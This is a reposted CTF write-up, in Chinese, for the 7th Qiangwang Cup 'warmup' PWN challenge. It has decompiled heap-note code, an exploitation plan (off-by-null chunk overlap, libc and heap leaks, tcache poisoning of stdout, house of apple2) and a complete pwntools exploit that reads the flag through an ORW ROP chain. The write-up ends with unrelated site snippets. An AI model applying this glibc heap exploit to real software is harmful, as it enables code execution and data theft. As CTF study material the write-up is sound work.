第七届强网杯-PWN-【warmup】

文章目录

  • warmup libc 2.35
  • 检查
  • IDA逆向
    • main
    • deldelete_note
    • add_note
    • show_note
    • input_number
    • read_16
      • atoi
    • __errno_location()
      • 相关解释
      • prctl相关
  • 思路
    • 高版本off by null利用技巧产生chunk extend
    • 泄露libc基地址
    • 泄露heap基地址
    • 修改放入tcachebin中的chunk的fd为stdout
    • 最后add两个chunk
  • exp

warmup libc 2.35

检查

在这里插入图片描述

IDA逆向

main

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{int v3; // eaxpro_set();put_warmup_string();while ( 1 ){put_menu();v3 = input_number();if ( v3 == 4 )_exit(0);if ( v3 > 4 ){
LABEL_12:a1 = "Invalid!";puts("Invalid!");}else{switch ( v3 ){case 3:deldelete_note();break;case 1:add_note();break;case 2:首位、show_note(a1, a2);break;default:goto LABEL_12;}}}
}

deldelete_note

unsigned __int64 delete_note()
{unsigned int v1; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");v1 = input_number();if ( v1 < 0x13 ){if ( chunk_addr_array[v1] ){free(chunk_addr_array[v1]);chunk_addr_array[v1] = 0LL;puts("Success~");}}else{puts("Error!");}return v2 - __readfsqword(0x28u);
}

add_note

unsigned __int64 add_note()
{int i; // [rsp+Ch] [rbp-14h]int size; // [rsp+10h] [rbp-10h]unsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);for ( i = 0; i <= 18 && chunk_addr_array[i]; ++i );if ( i == 19 ){puts("FUll!");}else{printf("Size: ");size = input_number();if ( size <= 0 || size > 0xFFFF ){puts("Error!");}else{chunk_addr_array[i] = malloc(size);if ( !chunk_addr_array[i] ){puts("Error!");_exit(0);}printf("Note: ");*((_BYTE *)chunk_addr_array[i] + (int)read(0, chunk_addr_array[i], size)) = '\0';// chunk的内容尾部为空字符puts("Success~");}}return v3 - __readfsqword(0x28u);
}

show_note

unsigned __int64 show_note()
{unsigned int index; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");index = input_number();if ( index < 0x13 ){if ( chunk_addr_array[index] ){printf("Note: ");puts((const char *)chunk_addr_array[index]);}}else{puts("Error!");}return v2 - __readfsqword(0x28u);
}

input_number

int input_number()
{char s[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);memset(s, 0, sizeof(s));read_16(s, 16LL);return atoi(s);
}

read_16

unsigned __int64 __fastcall read_16(char *a1, __int64 int64_16)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]v7 = __readfsqword(0x28u);while ( int64_16-- ){one_char = read(0, a1, 1uLL);if ( !one_char )break;if ( one_char == -1 ){if ( *__errno_location() != 11 && *__errno_location() != 4 )return v7 - __readfsqword(0x28u);}else{if ( *a1 == '\n' ){*a1 = 0;return v7 - __readfsqword(0x28u);}++a1;}}return v7 - __readfsqword(0x28u);
}

atoi

atoi 是 C 语言标准库中的一个函数,用于将字符串转换为整数。该函数的名称源自 “ASCII to integer” 的缩写。atoi 函数定义在 <stdlib.h> 头文件中,它所做的基本上就是解析一个字符串并将其转换成一个 int 类型的数值。

函数的原型如下:


int atoi(const char *str);

参数 str 是一个指向以空字符 ‘\0’ 结尾的字符数组(即 C 字符串)的指针。atoi 函数会扫描字符串 str,跳过任何空白字符(如空格),直到遇到第一个非空白的字符为止,然后从这个字符开始解析直到遇到第一个非数字的字符或字符串结尾。

下面是 atoi 方法使用的一般步骤:

  1. 忽略字符串前面的所有空白字符。
  2. 记录正负符号(如果有的话)。正数通常不带符号,而负数以 - 开头。
  3. 解析字符串中的数字,直到遇到非数字字符或字符串末尾。
  4. 将解析到的数字收集起来并转换成一个整数。
  5. 如果解析到的数字前带有 -,则将结果转换为负数。

__errno_location()

__errno_location() 是在某些 UNIX-like 系统上,特别是在 Linux 系统的 GNU C Library (glibc) 中定义的一个函数。这个函数用于获取 errno 的地址。errno 是一个全局变量或宏定义,用于存储函数在执行时遇到的错误代码。

在多线程应用程序中,使用全局变量存储错误码会有问题,因为当多个线程同时更新这个变量时将会相互冲突。为了解决这个问题,errno 在多线程环境中一般实现为一个宏,映射到一个线程局部存储(thread-local storage,TLS), 确保每个线程都有自己的 errno 值副本。

__errno_location() 函数就是用来获取当前线程 errno 变量地址的函数。这个函数通常不会被应用程序直接使用,而是由 errno 宏调用来获取当前线程的 errno 值。如果你直接包含 <errno.h> 并使用 errno,编译器在大多数现代系统上会自动处理成调用类似 __errno_location() 的函数。

相关解释

if (one_char == -1): 这行代码检查变量 one_char 是否等于 -1。在涉及从流中读取字符的函数中,-1 通常表示发生了一个错误或到达了文件末尾(EOF)。

if (*__errno_location() != 11 && *__errno_location() != 4): 这是一个嵌套的 if 语句,当 one_char 等于 -1 时会执行。它使用 __errno_location() 函数获取 errno 的地址,并通过解引用来检查其值。它检查 errno 是否不等于 11 和 4,这两个数字分别代表特定的错误码:

11 是 EAGAIN (Linux 上的错误代码),表示 I/O 操作会阻塞,应稍后重试。
4 是 EINTR,表示操作在能完成之前被信号中断了。

prctl相关

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
复制代码

思路

高版本off by null利用技巧产生chunk extend

高版本off by null

泄露libc基地址

extend后的大chunk遇到malloc分割后剩余的部分与原相关得到的chunk的位置重合,从而邪路unsortedbin基地址

泄露heap基地址

与泄露libc基地址差不多,只不过该chunk被free到tcachebin里了

修改放入tcachebin中的chunk的fd为stdout

记得先提前free一个chunk到tcachebin中,然后再修改

通过free掉一个chunk,使得该chunk位于tcachebin中并且然后通过另一个原chunk再次add并且add的size范围包括该free的chunk的开始一部分,从而能够使得add时修改该freechunk的开始的一部分

最后add两个chunk

如何布置参考house of apple2
使得第一个chunk布置相关rop,第二个chunk布置相关IO_FILE_plus_struct的伪造结构体,然后根据house of apple2来布置,并最后orw

exp

from pwn import *
from pwncli import *context(os="linux",arch="amd64")
f=process("./warmup")
libc=ELF("./libc.so.6")
#gdb.attach(f)def menu(number):f.recvuntil(b">> ")f.sendline(str(number))def add(size,content):menu(1)f.sendlineafter(b"Size: ",str(size))f.sendafter(b"Note: ",content)def show(index):menu(2)f.sendlineafter(b"Index: ",str(index))def delete(index):menu(3)f.sendlineafter(b"Index: ",str(index))add(0x410,"0")#0
add(0x100,"0")#1
add(0x410,"0")#2 合并3的
add(0x440,"0")#3 
add(0x40,"0")#4 off by one写5
add(0x4d0,"0")#5 合并6的
add(0x410,"0")#6
add(0x10,"0")#7 防止合并的delete(0)
delete(3)
delete(6)
delete(2)payload=0x410*b"a"+p64(0)+p8(0xa0)+p8(0x4)
add(0x430,payload)# 0 对应原来2
add(0x410,"0")# 2 对应原来6
add(0x410,"0")# 3 对应原来0
add(0x420,"0")# 6 对应原来的3+0x20delete(3)# 原来0
delete(6)# 原来3+0x20add(0x410,p64(0)) # 3 原来0
add(0x420,"0") # 6 原来3+0x20delete(6)
delete(2)
delete(5)payload=0x4e0*b"a"
add(0x4f0,payload)# 2 原来5
add(0x3f0,"0") # 5 原来6+0x20
add(0x420,"0") # 6  原来3+0x20delete(4) # 4
payload=0x40*b"a"+p64(0x4a0)
add(0x48,payload) # 4delete(2)add(0x10,"0") # 2
show(6) # unsorted bin addrf.recvuntil("Note: ")
unsorted_bin_addr=f.recvuntil("\n")[:-1]
unsorted_bin_addr=u64(unsorted_bin_addr+2*b"\x00")
print("unsorted_bin_addr",hex(unsorted_bin_addr)) # -0x219ce0libc_base=unsorted_bin_addr-0x219ce0
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f0f7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscall\nret')))
stdout = libc.sym['_IO_2_1_stdout_'] + libc_baseadd(0x300,"0") # 8
add(0x130,"0") # 9
add(0x3f0,"0") # 10
add(0x120,"0") # 11add(0x3f0,"0") # 12
delete(12)delete(8)
show(6) # heap addrf.recvuntil("Note: ")
heap_addr=f.recvuntil("\n")[:-1]
heap_addr=int.from_bytes(heap_addr,"little")
heap_addr=heap_addr<<12
print("heap_addr",hex(heap_addr))add(0x300,"0")# 8
delete(4)
delete(10)payload=p64(((heap_addr + 0x1080) >> 12) ^ (stdout))[:-1]
payload=0x18*b"a"+p64(0x401)+payload
add(0x40,payload)#4file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x1080  - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_addr 
file1.chain = leave_ret
file1._codecvt =stdout
file1._wide_data =stdout - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
print("vatable vaule",hex(file1.vtable))print(len(file1))flag_addr = heap_addr+ 0x100+0x1080
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscallret) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdxr12) + p64(0x50) + p64(0) + p64(read) + p64(pop_rdi) + p64(1) + p64(write)
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'add(0x3f0,  payload) #10add(0x3f0, bytes(file1))f.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/522239.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Excel中筛选合并单元格后,只显示第一行怎么办?

Excel中筛选合并单元格后,只显示第一行怎么办? 参考链接:https://baijiahao.baidu.com/s?id=1736773058549439034&wfr=spider&for=pc 我们日常的Excel数据在展示的时候为了数据的清晰和美观往往部分相同的单元格进行合并,但是合并之后在筛选时会发现结果会显示异…

Nacos2.2.3之MySQL8.X持久化详细配置过程

Nacos2.2.3之MySQL8.X持久化详细配置过程 文章目录 Nacos2.2.3之MySQL8.X持久化详细配置过程1. 官网与下载1. 官网2. Naocs是什么&#xff1f;3. 下载 2. 安装与持久化配置1. 解压安装2. 创建数据库1. 连接数据库2. 创建nacos数据库3. 导入脚本4. 查看表 3. 持久化配置1. appli…

特性螺旋面的刀具设计记录

最近和成型类刀具杠上了&#xff0c;这不最近有小伙伴提供了两个比较特殊的螺旋面工件&#xff0c;通常称作阴、阳转子。具体形状如下&#xff1a; 阴转子 阴转子端面齿形没看出有什么特殊的&#xff0c;但是在轴剖面齿形是内凹的&#xff0c;这个是比较特殊的形式。 阳转子…

使用再生龙(Clonezilla)备份和还原Linux系统

1. 再生龙(Clonezilla)介绍&#xff1a; Clonezilla是一款开源的磁盘克隆和备份工具&#xff0c;它可以帮助用户快速、高效地克隆和备份硬盘或分区。Clonezilla提供了两种不同的版本&#xff1a;Clonezilla Live和Clonezilla SE(Server Edition)。 Clonezilla Live&#xff1a;…

5. Java内存模型JMM

文章目录 计算机硬件存储体系基于计算机存储结构的 JMM Java 内存模型 JavaMemoryModelJMM规范下的三大特性原子性可见性有序性 多线程对变量的读写过程读取过程 多线程先行发生原则 happens-beforex,y 的 case 说明happens-before 原则说明happens-before 大原则happens-befor…

VBA_MF系列技术资料1-395

MF系列VBA技术资料1-395 为了让广大学员在VBA编程中有切实可行的思路及有效的提高自己的编程技巧&#xff0c;我参考大量的资料&#xff0c;并结合自己的经验总结了这份MF系列VBA技术综合资料&#xff0c;而且开放源码&#xff08;MF04除外&#xff09;&#xff0c;其中MF01-0…

Devc++调试窗口,一闪而过,调试闪退解决办法

今天使用Dev C调试&#xff0c;发现直接给我闪退了&#xff0c;恼火 解决办法&#xff1a; 安装图片所示框框&#xff0c;从上到下选择&#xff1a; 退出重启&#xff0c;OK

【粉丝福利】探秘内部审计数字化之道:精准解析转型方法与成功路径

&#x1f33c;前言 内部审计是一种独立的、客观的确认和咨询活动&#xff0c;包括鉴证、识别和分析问题以及提供管理建议和解决方案。狭义的数字化转型是指将企业经营管理和业务操作的各种行为、状态和结果用数字的形式来记录和存储&#xff0c;据此再对数据进行挖掘、分析和应…

循环链表的约瑟夫问题(牛客)——C语言解决

循环链表的约瑟夫问题描述 编号为 1 到 n 的 n 个人围成一圈。从编号为 1 的人开始报数&#xff0c;报到 m 的人离开。 下一个人继续从 1 开始报数。 n-1 轮结束以后&#xff0c;只剩下一个人&#xff0c;问最后留下的这个人编号是多少&#xff1f; 数据范围&#xff1a; 1 …

论文解读:Rectifying the Shortcut Learning of Background for Few-Shot Learning

文章汇总 问题&动机&解决方法 图像背景是一种有害知识的来源&#xff0c;这是少数镜头学习模型容易吸收的(问题) 通过在训练和评估中提取图像中的前景目标而不需要任何额外的监督来解决这个问题(动机) 在训练和评估时将模型的注意力吸引到图像前景上(方法) 摘要 …

OpenTenBase 开发环境搭建及Debug设置

最近有个 OpenTenBase开源核心贡献挑战赛 领导建议大家都去试试&#xff0c;我也去凑了下热闹&#xff0c;发现能力有限一时半会是搞不明白了&#xff0c;最多也就是能搞搞文档翻译&#xff0c;或者写点操作手册啥的。 不过不管怎么样&#xff0c;先把开发环境搭上&#xff0c;…

Zabbix(四)

Zabbix Proxy zabbix作为一个分布式监控系统(分布式监控解决方案)&#xff0c;支持通过代理(proxy)收集zabbix agent的监控数据&#xff0c;然后由zabbix proxy再把数据发送给zabbix server&#xff0c;也就是zabbix proxy 可以代替zabbix server收集监控数据&#xff0c;然后…